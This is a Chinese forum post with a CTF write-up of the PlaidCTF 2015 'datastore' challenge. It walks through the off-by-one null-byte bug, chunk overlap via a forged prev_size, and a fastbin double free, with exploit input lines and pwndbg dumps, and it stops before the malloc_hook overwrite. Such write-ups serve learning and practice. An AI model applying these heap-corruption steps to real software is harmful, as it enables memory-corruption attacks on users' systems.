首页
社区
课程
招聘
2015 plaidctf datastore(off by one)
发表于: 2018-9-21 20:13 20907

2015 plaidctf datastore(off by one)

2018-9-21 20:13
20907

紧接着半个月前分析的那篇2016 Asis b00ks,这次同样是有分析了一道off by one 漏洞利用的题目,同样记录下来分享给像咱们一样的pwn萌新,实在是想说大佬们的文章都是写给大佬看的,那我来给大家补充一下细节。这次的参考漏洞利用write up是plaid ctf 2015 plaiddb,非常感谢师傅0x397f,大佬的名字都这么大佬。但是最后一部分有一些细节我不知道是如何处理的,看了好几天了还是没看懂,请教一下大家。

https://bestwing.me/2016/12/30/one-gadget-rce/

https://www.yumpu.com/en/document/view/37809267/dragons-ctf


首先检查一下漏洞保护机制
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
程序主要有4个功能:GET、PUT、DUMP、DEL 。
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
程序主要有4个功能:GET、PUT、DUMP、DEL 。

然后来分析一下这个datastore的存储的数据结构。

通过PUT函数以及位于0xCF0的函数可以分析出datastore的数据结构,如下:



但是我只分析出了前三个数据单元内容是什么,后面的关于二叉树的内容需要分析位于0xcf0的函数分析得出,我没有分析完这个函数,因此最后有一部分的伪造堆内存的部分我没有弄清楚,数据结构如下:
struct node {
	char *key;
	long size;
	char *data;
	struct node *left;
	struct node *right;
	struct node *parent;
	bool is_leaf;
}

struct node {
	char *key;
	long size;
	char *data;
	struct node *left;
	struct node *right;
	struct node *parent;
	bool is_leaf;
}

函数的漏洞点位于0X1040处, 用于获取键值,当输入换行符时,会将其替换成 null 字节,如果输入长度为 chunk usable size 且最后一个字节为换行符的字符串,则会触发 off-by-one。chunk usable size为chunk当前实际可用的内存大小,如下:
char *get_key()
{
  char *key; // r12@1
  char *ptr; // rbx@1
  size_t chunk_sz; // r14@1
  char c; // al@3
  char v4; // bp@3
  signed __int64 v5; // r13@5
  char *v6; // rax@6

  key = (char *)malloc(8uLL);
  ptr = key;
  chunk_sz = malloc_usable_size(key);
  while ( 1 )
  {
    c = _IO_getc(stdin);
    v4 = c;
    if ( c == -1 )
      Goodbye();
    if ( c == 10 )
      break;
    v5 = ptr - key;
    if ( chunk_sz <= ptr - key )
    {
      v6 = (char *)realloc(key, 2 * chunk_sz);
      key = v6;
      if ( !v6 )
      {
        puts("FATAL: Out of memory");
        exit(-1);
      }
      ptr = &v6[v5];
      chunk_sz = malloc_usable_size(v6);
    }
    *ptr++ = v4;
  }
  *ptr = 0;                    <<<<<<<<<<<<<<<<<<<off by one 溢出点
 return key;
}

char *get_key()
{
  char *key; // r12@1
  char *ptr; // rbx@1
  size_t chunk_sz; // r14@1
  char c; // al@3
  char v4; // bp@3
  signed __int64 v5; // r13@5
  char *v6; // rax@6

  key = (char *)malloc(8uLL);
  ptr = key;
  chunk_sz = malloc_usable_size(key);
  while ( 1 )
  {
    c = _IO_getc(stdin);
    v4 = c;
    if ( c == -1 )
      Goodbye();
    if ( c == 10 )
      break;
    v5 = ptr - key;
    if ( chunk_sz <= ptr - key )
    {
      v6 = (char *)realloc(key, 2 * chunk_sz);
      key = v6;
      if ( !v6 )
      {
        puts("FATAL: Out of memory");
        exit(-1);
      }
      ptr = &v6[v5];
      chunk_sz = malloc_usable_size(v6);
    }
    *ptr++ = v4;
  }
  *ptr = 0;                    <<<<<<<<<<<<<<<<<<<off by one 溢出点
 return key;
}

本文主要是通过off by one 溢出修改下一个堆块的pre_inuse位,然后free下一个堆块使其向前合并内存,造成double free。然后通过double free修改malloc_hook为one_gadget来实现漏洞的利用。

double free的原理比较直接,简单来说就是重复释放同一个fastbin,但是在释放同一个fastbin的中间必须free()一次其他的fastbin。可以这么利用的原因是因为在free fastbin的时候,没有进行安全检查。但是unsorted bin,small bin,large bin都不可以实现double free原因是其检查了nextchunk的prev_inuse位,如下。


关于double free的入门可以看一下 https://heap-exploitation.dhavalkapil.com/attacks/double_free.html

但是本文章的利用的double free并不是那么简单的,加入在A处存在off by one 溢出,溢出覆盖了B的size内容的pre_inuse位,当free B的时候他会向前融合,通过构造B的pre_size项的内容我们可以使其向前合并至X处,但是我们必须事先将chunk x释放,而且x和B之间需要一个fastbin间隔,至此X至B的内存都已释放,此时我们如果在释放chunk c那么c也会出现在bins的链表当中,然后我们就可以控制c的内容了。
|chunk x |  fastbin | chunk c | chunk A|chunk B|
可以参考http://www.freebuf.com/articles/system/91527.html

然后开始讲解具体如何利用:
关闭ALSR然后gdb.attach()动态调试是必须掌握的姿势,我一般都是gdb和ida同时看的,gdb动态调试到那一部分,碰到不清楚的就ida静态分析一下代码原理。gdb推荐使用pwndbg。

首先是将内存中初始化带有的一个struct_node删除,然后通过PUT几个struct_node来为我们后来的实现double free做准备。
DEL("th3fl4g")

PUT("A"*0x8, 0x80, p8(0)*0x80)
PUT("B"*0x8, 0x18, p8(0)*0x18)
PUT("C"*0x8, 0x60, p8(0)*0x60)
PUT("C"*0x8, 0xf0, p8(0)*0xf0)

下文的内存信息是内存的低字节,并且内存地址指向chunk的pre_size,并非指向mem。

此时bins的链表结构中的内容如下:
fastbin:
0x20: 0x58280
0x40: 0x58240
0x70: 0x581d0
其余为空

struct_node的地址信息如下:
               struc_node            key           data
"A"*0x8        0x58000            0x58080        0x580a0
"B"*0x8        0x58130            0x58060        0x58040
"C"*0x8        0x58170            0x581b0        0x582a0

DEL("th3fl4g")

PUT("A"*0x8, 0x80, p8(0)*0x80)
PUT("B"*0x8, 0x18, p8(0)*0x18)
PUT("C"*0x8, 0x60, p8(0)*0x60)
PUT("C"*0x8, 0xf0, p8(0)*0xf0)

下文的内存信息是内存的低字节,并且内存地址指向chunk的pre_size,并非指向mem。

此时bins的链表结构中的内容如下:
fastbin:
0x20: 0x58280
0x40: 0x58240
0x70: 0x581d0
其余为空

struct_node的地址信息如下:
               struc_node            key           data
"A"*0x8        0x58000            0x58080        0x580a0
"B"*0x8        0x58130            0x58060        0x58040
"C"*0x8        0x58170            0x581b0        0x582a0

然后后面通过off_by_one溢出覆盖0x582a0的pre_size位。
覆盖之前我们先来看一下本来的0x582a0的内存信息:
pwndbg> x/10xg 0x5555557582a0
0x5555557582a0:	0x0000000000000000	0x0000000000000101     -------->可以看到此时位于0x2a0的chunk的pre_inuse位被置1,表示前面的chunk被使用。其实前面的chunk是fastbin中的0x20大小的内存地址是0x58280的chunk。
0x5555557582b0:	0x0000000000000000	0x0000000000000000
0x5555557582c0:	0x0000000000000000	0x0000000000000000
0x5555557582d0:	0x0000000000000000	0x0000000000000000
0x5555557582e0:	0x0000000000000000	0x0000000000000000

pwndbg> x/10xg 0x5555557582a0
0x5555557582a0:	0x0000000000000000	0x0000000000000101     -------->可以看到此时位于0x2a0的chunk的pre_inuse位被置1,表示前面的chunk被使用。其实前面的chunk是fastbin中的0x20大小的内存地址是0x58280的chunk。
0x5555557582b0:	0x0000000000000000	0x0000000000000000
0x5555557582c0:	0x0000000000000000	0x0000000000000000
0x5555557582d0:	0x0000000000000000	0x0000000000000000
0x5555557582e0:	0x0000000000000000	0x0000000000000000

然后下面在进行PUT操作,
PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20)  # off by one
key的内容是"D"*0x8+p64(0)+p64(0x200),输入的长度为18个字节,正好是chunk usable size,且申请的chunk大小是0x20,正好将0x58280的fastbin分配用来存储key,因此此时将会off_by_one溢出,将0x582a0处的pre_inuse位覆盖为0,并且前面的p64(0x200)伪造了0x582a0的chunk的pre_size为0x200。同时从0x582a0向前0x200个字节恰好是0x580a0,即key为‘A'*0x8的chunk对应的data的地址。通过前面double free的讲解,我们了解到,只需要先DEL('A'*0x8),再DEL('C'0x8)我们可以free掉从0x580a0至0x583a0的内存。

PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20)  # off by one

查看内存:
pwndbg> x/50xg 0x555555758280
0x555555758280:	0x0000000000000001	0x0000000000000021 
0x555555758290:	0x4444444444444444	0x0000000000000000
0x5555557582a0:	0x0000000000000200	0x0000000000000100    ----->可以看到pre_inuse位被覆盖为0,并且pre_size的大小被改成0x200,为我们后来的double free做好了基础。
0x5555557582b0:	0x0000000000000000	0x0000000000000000
0x5555557582c0:	0x0000000000000000	0x0000000000000000

PUT("D"*0x8+p64(0)+p64(0x200), 0x20, p8(0)*0x20)  # off by one

查看内存:
pwndbg> x/50xg 0x555555758280
0x555555758280:	0x0000000000000001	0x0000000000000021 
0x555555758290:	0x4444444444444444	0x0000000000000000
0x5555557582a0:	0x0000000000000200	0x0000000000000100    ----->可以看到pre_inuse位被覆盖为0,并且pre_size的大小被改成0x200,为我们后来的double free做好了基础。
0x5555557582b0:	0x0000000000000000	0x0000000000000000
0x5555557582c0:	0x0000000000000000	0x0000000000000000

然后进行DEL()操作,实现double free。

DEL("A"*0x8)
DEL("C"*0x8)

查看内存:
pwndbg> bins
fastbins
0x20: 0x5555557583d0 —▸ 0x5555557581b0 —▸ 0x555555758080 ◂— 0x0
0x30: 0x0
0x40: 0x555555758170 —▸ 0x555555758000 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557581d0 ◂— 0x0     ------->这个chunk内存被释放了两次,我们最后也是通过他来实现double free的利用。
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x5555557580a0 ◂— 0x7ffff7dd1b78
可以看到当bins中只有一个bins中有空闲chunk时,其fd、bk均指向main_arena,这为我们泄露libc_base以及heap_base提供了条件。
smallbins
empty
largebins
empty

pwndbg> x/50xg 0x5555557580a0
0x5555557580a0:	0x0000000000000000	0x0000000000000301        ----->看到chunk的大小为0x300
0x5555557580b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78            ------>bins中只有一个chunk时,其fd、bk指针均指向main_arena
0x5555557580c0:	0x0000000000000000	0x0000000000000000
0x5555557580d0:	0x0000000000000000	0x0000000000000000



[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2018-9-26 11:32 被Seclusion编辑 ,原因:
上传的附件:
收藏
免费 2
支持
分享
最新回复 (14)
雪    币: 47147
活跃值: (20445)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
2
感谢分享!
2018-9-21 21:02
0
雪    币: 61
活跃值: (2390)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
3
kanxue 感谢分享!
感谢评论
2018-9-21 22:24
0
雪    币: 60
活跃值: (314)
能力值: ( LV3,RANK:35 )
在线值:
发帖
回帖
粉丝
4
聽217大大講課時說是紅黑樹
2018-9-22 05:30
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
感谢分享! 
2018-9-22 10:01
0
雪    币: 61
活跃值: (2390)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
6
返無歸一 聽217大大講課時說是紅黑樹
嗯 谢谢
2018-9-22 18:16
0
雪    币: 18
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
2018-9-22 23:38
0
雪    币: 3567
活跃值: (467)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
8
可以师傅
2018-9-24 11:42
0
雪    币: 61
活跃值: (2390)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
9
和大家一起交流学习
2018-9-24 20:31
0
雪    币: 522
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
现在还做堆题吗?
2019-8-6 16:11
0
雪    币: 61
活跃值: (2390)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
11
久久归 现在还做堆题吗?
啥意思?
比赛出题主要还是围绕着堆来出题
2019-8-15 21:22
0
雪    币: 1931
活跃值: (442)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
引用:当free B的时候他会向前融合,通过构造B的pre_size项的内容我们可以使其向前合并至X处,但是我们必须事先将chunk x释放,
为什么必须事先?
2019-8-25 14:46
0
雪    币: 61
活跃值: (2390)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
13
TopGreen 引用:当free B的时候他会向前融合,通过构造B的pre_size项的内容我们可以使其向前合并至X处,但是我们必须事先将chunk x释放, 为什么必须事先?
向前合并的时候 , chunk x必须是已经free的chunk才能成功合并,不明白多读读源码就懂了。
2019-9-3 19:30
0
雪    币:
活跃值: (84)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
师傅,求
完整exp,谢谢
2021-2-6 19:13
0
雪    币: 61
活跃值: (2390)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
15
DuckRui 师傅,求 完整exp,谢谢
时间太久了 找不到了
2021-2-8 20:18
0
游客
登录 | 注册 方可回帖
返回
//